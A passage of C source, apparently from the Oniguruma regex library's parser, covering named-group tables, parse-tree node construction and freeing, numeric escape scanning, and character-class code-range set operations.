)reg->name_table; if (IS_NOT_NULL(t) && t->num > 0) { fprintf(fp, "name table\n"); for (i = 0; i < t->num; i++) { e = &(t->e[i]); fprintf(fp, "%s: ", e->name); if (e->back_num == 0) { fputs("-", fp); } else if (e->back_num == 1) { fprintf(fp, "%d", e->back_ref1); } else { for (j = 0; j < e->back_num; j++) { if (j > 0) fprintf(fp, ", "); fprintf(fp, "%d", e->back_refs[j]); } } fputs("\n", fp); } fputs("\n", fp); } return 0; } #endif static int names_clear(regex_t* reg) { int i; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { for (i = 0; i < t->num; i++) { e = &(t->e[i]); if (IS_NOT_NULL(e->name)) { xfree(e->name); e->name = NULL; e->name_len = 0; e->back_num = 0; e->back_alloc = 0; if (IS_NOT_NULL(e->back_refs)) xfree(e->back_refs); e->back_refs = (int* )NULL; } } if (IS_NOT_NULL(t->e)) { xfree(t->e); t->e = NULL; } t->num = 0; } return 0; } extern int onig_names_free(regex_t* reg) { int r; NameTable* t; r = names_clear(reg); if (r) return r; t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) xfree(t); reg->name_table = NULL; return 0; } static NameEntry* name_find(regex_t* reg, UChar* name, UChar* name_end) { int i, len; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { len = name_end - name; for (i = 0; i < t->num; i++) { e = &(t->e[i]); if (len == e->name_len && onig_strncmp(name, e->name, len) == 0) return e; } } return (NameEntry* )NULL; } extern int onig_foreach_name(regex_t* reg, int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*), void* arg) { int i, r; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { for (i = 0; i < t->num; i++) { e = &(t->e[i]); r = (*func)(e->name, e->name + e->name_len, e->back_num, (e->back_num > 1 ? e->back_refs : &(e->back_ref1)), reg, arg); if (r != 0) return r; } } return 0; } extern int onig_number_of_names(regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) return t->num; else return 0; } #endif /* else USE_ST_LIBRARY */ static int name_add(regex_t* reg, UChar* name, UChar* name_end, int backref, ScanEnv* env) { int alloc; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (name_end - name <= 0) return ONIGERR_EMPTY_GROUP_NAME; e = name_find(reg, name, name_end); if (IS_NULL(e)) { #ifdef USE_ST_LIBRARY if (IS_NULL(t)) { t = onig_st_init_strend_table_with_size(5); reg->name_table = (void* )t; } e = (NameEntry* )xmalloc(sizeof(NameEntry)); CHECK_NULL_RETURN_MEMERR(e); e->name = strdup_with_null(reg->enc, name, name_end); if (IS_NULL(e->name)) { xfree(e); return ONIGERR_MEMORY; } onig_st_insert_strend(t, e->name, (e->name + (name_end - name)), (HashDataType )e); e->name_len = name_end - name; e->back_num = 0; e->back_alloc = 0; e->back_refs = (int* )NULL; #else if (IS_NULL(t)) { alloc = INIT_NAMES_ALLOC_NUM; t = (NameTable* )xmalloc(sizeof(NameTable)); CHECK_NULL_RETURN_MEMERR(t); t->e = NULL; t->alloc = 0; t->num = 0; t->e = (NameEntry* )xmalloc(sizeof(NameEntry) * alloc); if (IS_NULL(t->e)) { xfree(t); return ONIGERR_MEMORY; } t->alloc = alloc; reg->name_table = t; goto clear; } else if (t->num == t->alloc) { int i; alloc = t->alloc * 2; t->e = (NameEntry* )xrealloc(t->e, sizeof(NameEntry) * alloc); CHECK_NULL_RETURN_MEMERR(t->e); t->alloc = alloc; clear: for (i = t->num; i < t->alloc; i++) { t->e[i].name = NULL; t->e[i].name_len = 0; t->e[i].back_num = 0; t->e[i].back_alloc = 0; t->e[i].back_refs = (int* )NULL; } } e = &(t->e[t->num]); t->num++; e->name = strdup_with_null(reg->enc, name, name_end); if (IS_NULL(e->name)) return ONIGERR_MEMORY; e->name_len = name_end - name; #endif } if (e->back_num >= 1 && ! IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_MULTIPLEX_DEFINITION_NAME)) { onig_scan_env_set_error_string(env, ONIGERR_MULTIPLEX_DEFINED_NAME, name, name_end); return ONIGERR_MULTIPLEX_DEFINED_NAME; } e->back_num++; if (e->back_num == 1) { e->back_ref1 = backref; } else { if (e->back_num == 2) { alloc = INIT_NAME_BACKREFS_ALLOC_NUM; e->back_refs = (int* )xmalloc(sizeof(int) * alloc); CHECK_NULL_RETURN_MEMERR(e->back_refs); e->back_alloc = alloc; e->back_refs[0] = e->back_ref1; e->back_refs[1] = backref; } else { if (e->back_num > e->back_alloc) { alloc = e->back_alloc * 2; e->back_refs = (int* )xrealloc(e->back_refs, sizeof(int) * alloc); CHECK_NULL_RETURN_MEMERR(e->back_refs); e->back_alloc = alloc; } e->back_refs[e->back_num - 1] = backref; } } return 0; } extern int onig_name_to_group_numbers(regex_t* reg, const UChar* name, const UChar* name_end, int** nums) { NameEntry* e = name_find(reg, name, name_end); if (IS_NULL(e)) return ONIGERR_UNDEFINED_NAME_REFERENCE; switch (e->back_num) { case 0: break; case 1: *nums = &(e->back_ref1); break; default: *nums = e->back_refs; break; } return e->back_num; } extern int onig_name_to_backref_number(regex_t* reg, const UChar* name, const UChar* name_end, OnigRegion *region) { int i, n, *nums; n = onig_name_to_group_numbers(reg, name, name_end, &nums); if (n < 0) return n; else if (n == 0) return ONIGERR_PARSER_BUG; else if (n == 1) return nums[0]; else { if (IS_NOT_NULL(region)) { for (i = n - 1; i >= 0; i--) { if (region->beg[nums[i]] != ONIG_REGION_NOTPOS) return nums[i]; } } return nums[n - 1]; } } #else /* USE_NAMED_GROUP */ extern int onig_name_to_group_numbers(regex_t* reg, const UChar* name, const UChar* name_end, int** nums) { return ONIG_NO_SUPPORT_CONFIG; } extern int onig_name_to_backref_number(regex_t* reg, const UChar* name, const UChar* name_end, OnigRegion* region) { return ONIG_NO_SUPPORT_CONFIG; } extern int onig_foreach_name(regex_t* reg, int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*), void* arg) { return ONIG_NO_SUPPORT_CONFIG; } extern int onig_number_of_names(regex_t* reg) { return 0; } #endif /* else USE_NAMED_GROUP */ extern int onig_noname_group_capture_is_active(regex_t* reg) { if (ONIG_IS_OPTION_ON(reg->options, ONIG_OPTION_DONT_CAPTURE_GROUP)) return 0; #ifdef USE_NAMED_GROUP if (onig_number_of_names(reg) > 0 && IS_SYNTAX_BV(reg->syntax, ONIG_SYN_CAPTURE_ONLY_NAMED_GROUP) && !ONIG_IS_OPTION_ON(reg->options, ONIG_OPTION_CAPTURE_GROUP)) { return 0; } #endif return 1; } #define INIT_SCANENV_MEMNODES_ALLOC_SIZE 16 static void scan_env_clear(ScanEnv* env) { int i; BIT_STATUS_CLEAR(env->capture_history); BIT_STATUS_CLEAR(env->bt_mem_start); BIT_STATUS_CLEAR(env->bt_mem_end); BIT_STATUS_CLEAR(env->backrefed_mem); env->error = (UChar* )NULL; env->error_end = (UChar* )NULL; env->num_call = 0; env->num_mem = 0; #ifdef USE_NAMED_GROUP env->num_named = 0; #endif env->mem_alloc = 0; env->mem_nodes_dynamic = (Node** )NULL; for (i = 0; i < SCANENV_MEMNODES_SIZE; i++) env->mem_nodes_static[i] = NULL_NODE; #ifdef USE_COMBINATION_EXPLOSION_CHECK env->num_comb_exp_check = 0; env->comb_exp_max_regnum = 0; env->curr_max_regnum = 0; env->has_recursion = 0; #endif env->parse_depth = 0; } static int scan_env_add_mem_entry(ScanEnv* env) { int i, need, alloc; Node** p; need = env->num_mem + 1; if (need > MaxCaptureNum && MaxCaptureNum != 0) return ONIGERR_TOO_MANY_CAPTURES; if (need >= SCANENV_MEMNODES_SIZE) { if (env->mem_alloc <= need) { if (IS_NULL(env->mem_nodes_dynamic)) { alloc = INIT_SCANENV_MEMNODES_ALLOC_SIZE; p = (Node** )xmalloc(sizeof(Node*) * alloc); xmemcpy(p, env->mem_nodes_static, sizeof(Node*) * SCANENV_MEMNODES_SIZE); } else { alloc = env->mem_alloc * 2; p = (Node** )xrealloc(env->mem_nodes_dynamic, sizeof(Node*) * alloc); } CHECK_NULL_RETURN_MEMERR(p); for (i = env->num_mem + 1; i < alloc; i++) p[i] = NULL_NODE; env->mem_nodes_dynamic = p; env->mem_alloc = alloc; } } env->num_mem++; return env->num_mem; } static int scan_env_set_mem_node(ScanEnv* env, int num, Node* node) { if (env->num_mem >= num) SCANENV_MEM_NODES(env)[num] = node; else return ONIGERR_PARSER_BUG; return 0; } extern void onig_node_free(Node* node) { start: if (IS_NULL(node)) return ; #ifdef DEBUG_NODE_FREE fprintf(stderr, "onig_node_free: %p\n", node); #endif switch (NTYPE(node)) { case NT_STR: if (NSTR(node)->capa != 0 && IS_NOT_NULL(NSTR(node)->s) && NSTR(node)->s != NSTR(node)->buf) { xfree(NSTR(node)->s); } break; case NT_LIST: case NT_ALT: onig_node_free(NCAR(node)); { Node* next_node = NCDR(node); xfree(node); node = next_node; goto start; } break; case NT_CCLASS: { CClassNode* cc = NCCLASS(node); if (IS_NCCLASS_SHARE(cc)) return ; if (cc->mbuf) bbuf_free(cc->mbuf); } break; case NT_QTFR: if (NQTFR(node)->target) onig_node_free(NQTFR(node)->target); break; case NT_ENCLOSE: if (NENCLOSE(node)->target) onig_node_free(NENCLOSE(node)->target); break; case NT_BREF: if (IS_NOT_NULL(NBREF(node)->back_dynamic)) xfree(NBREF(node)->back_dynamic); break; case NT_ANCHOR: if (NANCHOR(node)->target) onig_node_free(NANCHOR(node)->target); break; } xfree(node); } static Node* node_new(void) { Node* node; node = (Node* )xmalloc(sizeof(Node)); /* xmemset(node, 0, sizeof(Node)); */ #ifdef DEBUG_NODE_FREE fprintf(stderr, "node_new: %p\n", node); #endif return node; } static void initialize_cclass(CClassNode* cc) { BITSET_CLEAR(cc->bs); /* cc->base.flags = 0; */ cc->flags = 0; cc->mbuf = NULL; } static Node* node_new_cclass(void) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CCLASS); initialize_cclass(NCCLASS(node)); return node; } static Node* node_new_ctype(int type, int not) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CTYPE); NCTYPE(node)->ctype = type; NCTYPE(node)->not = not; return node; } static Node* node_new_anychar(void) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CANY); return node; } static Node* node_new_list(Node* left, Node* right) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_LIST); NCAR(node) = left; NCDR(node) = right; return node; } extern Node* onig_node_new_list(Node* left, Node* right) { return node_new_list(left, right); } extern Node* onig_node_list_add(Node* list, Node* x) { Node *n; n = onig_node_new_list(x, NULL); if (IS_NULL(n)) return NULL_NODE; if (IS_NOT_NULL(list)) { while (IS_NOT_NULL(NCDR(list))) list = NCDR(list); NCDR(list) = n; } return n; } extern Node* onig_node_new_alt(Node* left, Node* right) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_ALT); NCAR(node) = left; NCDR(node) = right; return node; } extern Node* onig_node_new_anchor(int type) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_ANCHOR); NANCHOR(node)->type = type; NANCHOR(node)->target = NULL; NANCHOR(node)->char_len = -1; return node; } static Node* node_new_backref(int back_num, int* backrefs, int by_name, #ifdef USE_BACKREF_WITH_LEVEL int exist_level, int nest_level, #endif ScanEnv* env) { int i; Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_BREF); NBREF(node)->state = 0; NBREF(node)->back_num = back_num; NBREF(node)->back_dynamic = (int* )NULL; if (by_name != 0) NBREF(node)->state |= NST_NAME_REF; #ifdef USE_BACKREF_WITH_LEVEL if (exist_level != 0) { NBREF(node)->state |= NST_NEST_LEVEL; NBREF(node)->nest_level = nest_level; } #endif for (i = 0; i < back_num; i++) { if (backrefs[i] <= env->num_mem && IS_NULL(SCANENV_MEM_NODES(env)[backrefs[i]])) { NBREF(node)->state |= NST_RECURSION; /* /...(\1).../ */ break; } } if (back_num <= NODE_BACKREFS_SIZE) { for (i = 0; i < back_num; i++) NBREF(node)->back_static[i] = backrefs[i]; } else { int* p = (int* )xmalloc(sizeof(int) * back_num); if (IS_NULL(p)) { onig_node_free(node); return NULL; } NBREF(node)->back_dynamic = p; for (i = 0; i < back_num; i++) p[i] = backrefs[i]; } return node; } #ifdef USE_SUBEXP_CALL static Node* node_new_call(UChar* name, UChar* name_end, int gnum) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CALL); NCALL(node)->state = 0; NCALL(node)->target = NULL_NODE; NCALL(node)->name = name; NCALL(node)->name_end = name_end; NCALL(node)->group_num = gnum; /* call by number if gnum != 0 */ return node; } #endif static Node* node_new_quantifier(int lower, int upper, int by_number) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_QTFR); NQTFR(node)->state = 0; NQTFR(node)->target = NULL; NQTFR(node)->lower = lower; NQTFR(node)->upper = upper; NQTFR(node)->greedy = 1; NQTFR(node)->target_empty_info = NQ_TARGET_ISNOT_EMPTY; NQTFR(node)->head_exact = NULL_NODE; NQTFR(node)->next_head_exact = NULL_NODE; NQTFR(node)->is_refered = 0; if (by_number != 0) NQTFR(node)->state |= NST_BY_NUMBER; #ifdef USE_COMBINATION_EXPLOSION_CHECK NQTFR(node)->comb_exp_check_num = 0; #endif return node; } static Node* node_new_enclose(int type) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_ENCLOSE); NENCLOSE(node)->type = type; NENCLOSE(node)->state = 0; NENCLOSE(node)->regnum = 0; NENCLOSE(node)->option = 0; NENCLOSE(node)->target = NULL; NENCLOSE(node)->call_addr = -1; NENCLOSE(node)->opt_count = 0; return node; } extern Node* onig_node_new_enclose(int type) { return node_new_enclose(type); } static Node* node_new_enclose_memory(OnigOptionType option, int is_named) { Node* node = node_new_enclose(ENCLOSE_MEMORY); CHECK_NULL_RETURN(node); if (is_named != 0) SET_ENCLOSE_STATUS(node, NST_NAMED_GROUP); #ifdef USE_SUBEXP_CALL NENCLOSE(node)->option = option; #endif return node; } static Node* node_new_option(OnigOptionType option) { Node* node = node_new_enclose(ENCLOSE_OPTION); CHECK_NULL_RETURN(node); NENCLOSE(node)->option = option; return node; } extern int onig_node_str_cat(Node* node, const UChar* s, const UChar* end) { int addlen = end - s; if (addlen > 0) { int len = NSTR(node)->end - NSTR(node)->s; if (NSTR(node)->capa > 0 || (len + addlen > NODE_STR_BUF_SIZE - 1)) { UChar* p; int capa = len + addlen + NODE_STR_MARGIN; if (capa <= NSTR(node)->capa) { onig_strcpy(NSTR(node)->s + len, s, end); } else { if (NSTR(node)->s == NSTR(node)->buf) p = strcat_capa_from_static(NSTR(node)->s, NSTR(node)->end, s, end, capa); else p = strcat_capa(NSTR(node)->s, NSTR(node)->end, s, end, capa); CHECK_NULL_RETURN_MEMERR(p); NSTR(node)->s = p; NSTR(node)->capa = capa; } } else { onig_strcpy(NSTR(node)->s + len, s, end); } NSTR(node)->end = NSTR(node)->s + len + addlen; } return 0; } extern int onig_node_str_set(Node* node, const UChar* s, const UChar* end) { onig_node_str_clear(node); return onig_node_str_cat(node, s, end); } static int node_str_cat_char(Node* node, UChar c) { UChar s[1]; s[0] = c; return onig_node_str_cat(node, s, s + 1); } extern void onig_node_conv_to_str_node(Node* node, int flag) { SET_NTYPE(node, NT_STR); NSTR(node)->flag = flag; NSTR(node)->capa = 0; NSTR(node)->s = NSTR(node)->buf; NSTR(node)->end = NSTR(node)->buf; } extern void onig_node_str_clear(Node* node) { if (NSTR(node)->capa != 0 && IS_NOT_NULL(NSTR(node)->s) && NSTR(node)->s != NSTR(node)->buf) { xfree(NSTR(node)->s); } NSTR(node)->capa = 0; NSTR(node)->flag = 0; NSTR(node)->s = NSTR(node)->buf; NSTR(node)->end = NSTR(node)->buf; } static Node* node_new_str(const UChar* s, const UChar* end) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_STR); NSTR(node)->capa = 0; NSTR(node)->flag = 0; NSTR(node)->s = NSTR(node)->buf; NSTR(node)->end = NSTR(node)->buf; if (onig_node_str_cat(node, s, end)) { onig_node_free(node); return NULL; } return node; } extern Node* onig_node_new_str(const UChar* s, const UChar* end) { return node_new_str(s, end); } static Node* node_new_str_raw(UChar* s, UChar* end) { Node* node = node_new_str(s, end); NSTRING_SET_RAW(node); return node; } static Node* node_new_empty(void) { return node_new_str(NULL, NULL); } static Node* node_new_str_raw_char(UChar c) { UChar p[1]; p[0] = c; return node_new_str_raw(p, p + 1); } static Node* str_node_split_last_char(StrNode* sn, OnigEncoding enc) { const UChar *p; Node* n = NULL_NODE; if (sn->end > sn->s) { p = onigenc_get_prev_char_head(enc, sn->s, sn->end); if (p && p > sn->s) { /* can be split. */ n = node_new_str(p, sn->end); if ((sn->flag & NSTR_RAW) != 0) NSTRING_SET_RAW(n); sn->end = (UChar* )p; } } return n; } static int str_node_can_be_split(StrNode* sn, OnigEncoding enc) { if (sn->end > sn->s) { return ((enclen(enc, sn->s) < sn->end - sn->s) ? 1 : 0); } return 0; } #ifdef USE_PAD_TO_SHORT_BYTE_CHAR static int node_str_head_pad(StrNode* sn, int num, UChar val) { UChar buf[NODE_STR_BUF_SIZE]; int i, len; len = sn->end - sn->s; onig_strcpy(buf, sn->s, sn->end); onig_strcpy(&(sn->s[num]), buf, buf + len); sn->end += num; for (i = 0; i < num; i++) { sn->s[i] = val; } } #endif extern int onig_scan_unsigned_number(UChar** src, const UChar* end, OnigEncoding enc) { unsigned int num, val; OnigCodePoint c; UChar* p = *src; PFETCH_READY; num = 0; while (!PEND) { PFETCH(c); if (ONIGENC_IS_CODE_DIGIT(enc, c)) { val = (unsigned int )DIGITVAL(c); if ((INT_MAX_LIMIT - val) / 10UL < num) return -1; /* overflow */ num = num * 10 + val; } else { PUNFETCH; break; } } *src = p; return num; } static int scan_unsigned_hexadecimal_number(UChar** src, UChar* end, int maxlen, OnigEncoding enc) { OnigCodePoint c; unsigned int num, val; UChar* p = *src; PFETCH_READY; num = 0; while (! PEND && maxlen-- != 0) { PFETCH(c); if (ONIGENC_IS_CODE_XDIGIT(enc, c)) { val = (unsigned int )XDIGITVAL(enc,c); if ((INT_MAX_LIMIT - val) / 16UL < num) return -1; /* overflow */ num = (num << 4) + XDIGITVAL(enc,c); } else { PUNFETCH; break; } } *src = p; return num; } static int scan_unsigned_octal_number(UChar** src, UChar* end, int maxlen, OnigEncoding enc) { OnigCodePoint c; unsigned int num, val; UChar* p = *src; PFETCH_READY; num = 0; while (!PEND && maxlen-- != 0) { PFETCH(c); if (ONIGENC_IS_CODE_DIGIT(enc, c) && c < '8') { val = ODIGITVAL(c); if ((INT_MAX_LIMIT - val) / 8UL < num) return -1; /* overflow */ num = (num << 3) + val; } else { PUNFETCH; break; } } *src = p; return num; } #define BBUF_WRITE_CODE_POINT(bbuf,pos,code) \ BBUF_WRITE(bbuf, pos, &(code), SIZE_CODE_POINT) /* data format: [n][from-1][to-1][from-2][to-2] ... [from-n][to-n] (all data size is OnigCodePoint) */ static int new_code_range(BBuf** pbuf) { #define INIT_MULTI_BYTE_RANGE_SIZE (SIZE_CODE_POINT * 5) int r; OnigCodePoint n; BBuf* bbuf; bbuf = *pbuf = (BBuf* )xmalloc(sizeof(BBuf)); CHECK_NULL_RETURN_MEMERR(*pbuf); r = BBUF_INIT(*pbuf, INIT_MULTI_BYTE_RANGE_SIZE); if (r) return r; n = 0; BBUF_WRITE_CODE_POINT(bbuf, 0, n); return 0; } static int add_code_range_to_buf(BBuf** pbuf, OnigCodePoint from, OnigCodePoint to) { int r, inc_n, pos; int low, high, bound, x; OnigCodePoint n, *data; BBuf* bbuf; if (from > to) { n = from; from = to; to = n; } if (IS_NULL(*pbuf)) { r = new_code_range(pbuf); if (r) return r; bbuf = *pbuf; n = 0; } else { bbuf = *pbuf; GET_CODE_POINT(n, bbuf->p); } data = (OnigCodePoint* )(bbuf->p); data++; for (low = 0, bound = n; low < bound; ) { x = (low + bound) >> 1; if (from > data[x*2 + 1]) low = x + 1; else bound = x; } high = (to == ~((OnigCodePoint )0)) ? n : low; for (bound = n; high < bound; ) { x = (high + bound) >> 1; if (to + 1 >= data[x*2]) high = x + 1; else bound = x; } inc_n = low + 1 - high; if (n + inc_n > ONIG_MAX_MULTI_BYTE_RANGES_NUM) return ONIGERR_TOO_MANY_MULTI_BYTE_RANGES; if (inc_n != 1) { if (from > data[low*2]) from = data[low*2]; if (to < data[(high - 1)*2 + 1]) to = data[(high - 1)*2 + 1]; } if (inc_n != 0 && (OnigCodePoint )high < n) { int from_pos = SIZE_CODE_POINT * (1 + high * 2); int to_pos = SIZE_CODE_POINT * (1 + (low + 1) * 2); int size = (n - high) * 2 * SIZE_CODE_POINT; if (inc_n > 0) { BBUF_MOVE_RIGHT(bbuf, from_pos, to_pos, size); } else { BBUF_MOVE_LEFT_REDUCE(bbuf, from_pos, to_pos); } } pos = SIZE_CODE_POINT * (1 + low * 2); BBUF_ENSURE_SIZE(bbuf, pos + SIZE_CODE_POINT * 2); BBUF_WRITE_CODE_POINT(bbuf, pos, from); BBUF_WRITE_CODE_POINT(bbuf, pos + SIZE_CODE_POINT, to); n += inc_n; BBUF_WRITE_CODE_POINT(bbuf, 0, n); return 0; } static int add_code_range(BBuf** pbuf, ScanEnv* env, OnigCodePoint from, OnigCodePoint to) { if (from > to) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_EMPTY_RANGE_IN_CC)) return 0; else return ONIGERR_EMPTY_RANGE_IN_CHAR_CLASS; } return add_code_range_to_buf(pbuf, from, to); } static int not_code_range_buf(OnigEncoding enc, BBuf* bbuf, BBuf** pbuf) { int r, i, n; OnigCodePoint pre, from, *data, to = 0; *pbuf = (BBuf* )NULL; if (IS_NULL(bbuf)) { set_all: return SET_ALL_MULTI_BYTE_RANGE(enc, pbuf); } data = (OnigCodePoint* )(bbuf->p); GET_CODE_POINT(n, data); data++; if (n <= 0) goto set_all; r = 0; pre = MBCODE_START_POS(enc); for (i = 0; i < n; i++) { from = data[i*2]; to = data[i*2+1]; if (pre <= from - 1) { r = add_code_range_to_buf(pbuf, pre, from - 1); if (r != 0) return r; } if (to == ~((OnigCodePoint )0)) break; pre = to + 1; } if (to < ~((OnigCodePoint )0)) { r = add_code_range_to_buf(pbuf, to + 1, ~((OnigCodePoint )0)); } return r; } #define SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2) do {\ BBuf *tbuf; \ int tnot; \ tnot = not1; not1 = not2; not2 = tnot; \ tbuf = bbuf1; bbuf1 = bbuf2; bbuf2 = tbuf; \ } while (0) static int or_code_range_buf(OnigEncoding enc, BBuf* bbuf1, int not1, BBuf* bbuf2, int not2, BBuf** pbuf) { int r; OnigCodePoint i, n1, *data1; OnigCodePoint from, to; *pbuf = (BBuf* )NULL; if (IS_NULL(bbuf1) && IS_NULL(bbuf2)) { if (not1 != 0 || not2 != 0) return SET_ALL_MULTI_BYTE_RANGE(enc, pbuf); return 0; } r = 0; if (IS_NULL(bbuf2)) SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2); if (IS_NULL(bbuf1)) { if (not1 != 0) { return SET_ALL_MULTI_BYTE_RANGE(enc, pbuf); } else { if (not2 == 0) { return bbuf_clone(pbuf, bbuf2); } else { return not_code_range_buf(enc, bbuf2, pbuf); } } } if (not1 != 0) SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2); data1 = (OnigCodePoint* )(bbuf1->p); GET_CODE_POINT(n1, data1); data1++; if (not2 == 0 && not1 == 0) { /* 1 OR 2 */ r = bbuf_clone(pbuf, bbuf2); } else if (not1 == 0) { /* 1 OR (not 2) */ r = not_code_range_buf(enc, bbuf2, pbuf); } if (r != 0) return r; for (i = 0; i < n1; i++) { from = data1[i*2]; to = data1[i*2+1]; r = add_code_range_to_buf(pbuf, from, to); if (r != 0) return r; } return 0; } static int and_code_range1(BBuf** pbuf, OnigCodePoint from1, OnigCodePoint to1, OnigCodePoint* data, int n) { int i, r; OnigCodePoint from2, to2; for (i = 0; i < n; i++) { from2 = data[i*2]; to2 = data[i*2+1]; if (from2 < from1) { if (to2 < from1) continue; else { from1 = to2 + 1; } } else if (from2 <= to1) { if (to2 < to1) { if (from1 <= from2 - 1) { r = add_code_range_to_buf(pbuf, from1, from2-1); if (r != 0) return r; } from1 = to2 + 1; } else { to1 = from2 - 1; } } else { from1 = from2; } if (from1 > to1) break; } if (from1 <= to1) { r = add_code_range_to_buf(pbuf, from1, to1); if (r != 0) return r; } return 0; } static int and_code_range_buf(BBuf* bbuf1, int not1, BBuf* bbuf2, int not2, BBuf** pbuf) { int r; OnigCodePoint i, j, n1, n2, *data1, *data2; OnigCodePoint from, to, from1, to1, from2, to2; *pbuf = (BBuf* )NULL; if (IS_NULL(bbuf1)) { if (not1 != 0 && IS_NOT_NULL(bbuf2)) /* not1 != 0 -> not2 == 0 */ return bbuf_clone(pbuf, bbuf2); return 0; } else if (IS_NULL(bbuf2)) { if (not2 != 0) return bbuf_clone(pbuf, bbuf1); return 0; } if (not1 != 0) SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2); data1 = (OnigCodePoint* )(bbuf1->p); data2 = (OnigCodePoint* )(bbuf2->p); GET_CODE_POINT(n1, data1); GET_CODE_POINT(n2, data2); data1++; data2++; if (not2 == 0 && not1 == 0) { /* 1 AND 2 */ for (i = 0; i < n1; i++) { from1 = data1[i*2]; to1 = data1[i*2+1]; for (j = 0; j < n2; j++) { from2 = data2[j*2]; to2 = data2[j*2+1]; if (from2 > to1) break; if (to2 < from1) continue; from = MAX(from1, from2); to = MIN(to1, to2); r = add_code_range_to_buf(pbuf, from, to); if (r != 0) return r; } } } else if (not1 == 0) { /* 1 AND (not 2) */ for (i = 0; i < n1; i++) { from1 = data1[i*2]; to1 = data1[i*2+1]; r = and_code_range1(pbuf, from1, to1, data2, n2); if (r != 0) return r; } } return 0; } static int and_cclass(CClassNode* dest, CClassNode* cc, OnigEncoding enc) { int r, not1, not2; BBuf *buf1, *buf2, *pbuf; BitSetRef bsr1, bsr2; BitSet bs1, bs2; not1 = IS_NCCLASS_NOT(dest); bsr1 = dest->bs; buf1 = dest->mbuf; not2 = IS_NCCLASS_NOT(cc); bsr2 = cc->bs; buf2 = cc->mbuf; if (not1 != 0) { bitset_invert_to(bsr1, bs1); bsr1 = bs1; } if (not2 != 0) { bitset_invert_to(bsr2, bs2); bsr2 = bs2; } bitset_and(bsr1, bsr2); if (bsr1 != dest->bs) { bitset_copy(dest->bs, bsr1); bsr1 = dest->bs; } if (not1 != 0) { bitset_invert(dest->bs); } if (! ONIGENC_IS_SINGLEBYTE(enc)) { if (not1 != 0 && not2 != 0) { r = or_code_range_buf(enc, buf1, 0, buf2, 0, &pbuf); } else { r = and_code_range_buf(buf1, not1, buf2, not2, &pbuf); if (r == 0 && not1 != 0) { BBuf *tbuf; r = not_code_range_buf(enc, pbuf, &tbuf); if (r != 0) { bbuf_free(pbuf); return r; } bbuf_free(pbuf); pbuf = tbuf; } } if (r != 0) return r; dest->mbuf = pbuf; bbuf_free(buf1); return r; } return 0; } static int or_cclass(CClassNode* dest, CClassNode* cc, OnigEncoding enc) { int r, not1, not2; BBuf *buf1, *buf2, *pbuf; BitSetRef bsr1, bsr2; BitSet bs1, bs2; not1 = IS_NCCLASS_NOT(dest); bsr1 = dest->bs; buf1 = dest->mbuf; not2 = IS_NCCLASS_NOT(cc); bsr2 = cc->bs; buf2 = cc->mbuf; if (not1 != 0) { bitset_invert_to(bsr1, bs1); bsr1 = bs1; } if (not2 != 0) { bitset_invert_to(bsr2, bs2); bsr2 = bs2; } bitset_or(bsr1, bsr2); if (bsr1 != dest->bs) { bitset_copy(dest->bs, bsr1); bsr1 = dest->bs; } if (not1 != 0) { bitset_invert(dest->bs); } if (! ONIGENC_IS_SINGLEBYTE(enc)) { if (not1 != 0 && not2 != 0) { r = and_code_range_buf(buf1, 0, buf2, 0, &pbuf); } else { r = or_code_range_buf(enc, buf1, not1, buf2, not2, &pbuf); if (r == 0 && not1 != 0) { BBuf *tbuf; r = not_code_range_buf(enc, pbuf, &tbuf); if (r != 0) { bbuf_free(pbuf); return r; } bbuf_free(pbuf); pbuf = tbuf; } } if (r != 0) return r; dest->mbuf = pbuf; bbuf_free(buf1); return r; } else return 0; } static OnigCodePoint conv_backslash_value(OnigCodePoint c, ScanEnv* env) { if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_CONTROL_CHARS)) { switch (c) { case 'n': return '\n'; case 't': return '\t'; case 'r': return '\r'; case 'f': return '\f'; case 'a': return '\007'; case 'b': return '\010'; case 'e': return '\033'; case 'v': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ESC_V_VTAB)) return '\v'; break; default: break; } } return c; } static int is_invalid_quantifier_target(Node* node) { switch (NTYPE(node)) { case NT_ANCHOR: return 1; break; case NT_ENCLOSE: /* allow enclosed elements */ /* return is_invalid_quantifier_target(NENCLOSE(node)->target); */ break; case NT_LIST: do { if (! is_invalid_quantifier_target(NCAR(node))) return 0; } while (IS_NOT_NULL(node = NCDR(node))); return 0; break; case NT_ALT: do { if (is_invalid_quantifier_target(NCAR(node))) return 1; } while (IS_NOT_NULL(node = NCDR(node))); break; default: break; } return 0; } /* ?:0, *:1, +:2, ??:3, *?:4, +?:5 */ static int popular_quantifier_num(QtfrNode* q) { if (q->greedy) { if (q->lower == 0) { if (q->upper == 1) return 0; else if (IS_REPEAT_INFINITE(q->upper)) return 1; } else if (q->lower == 1) { if (IS_REPEAT_INFINITE(q->upper)) return 2; 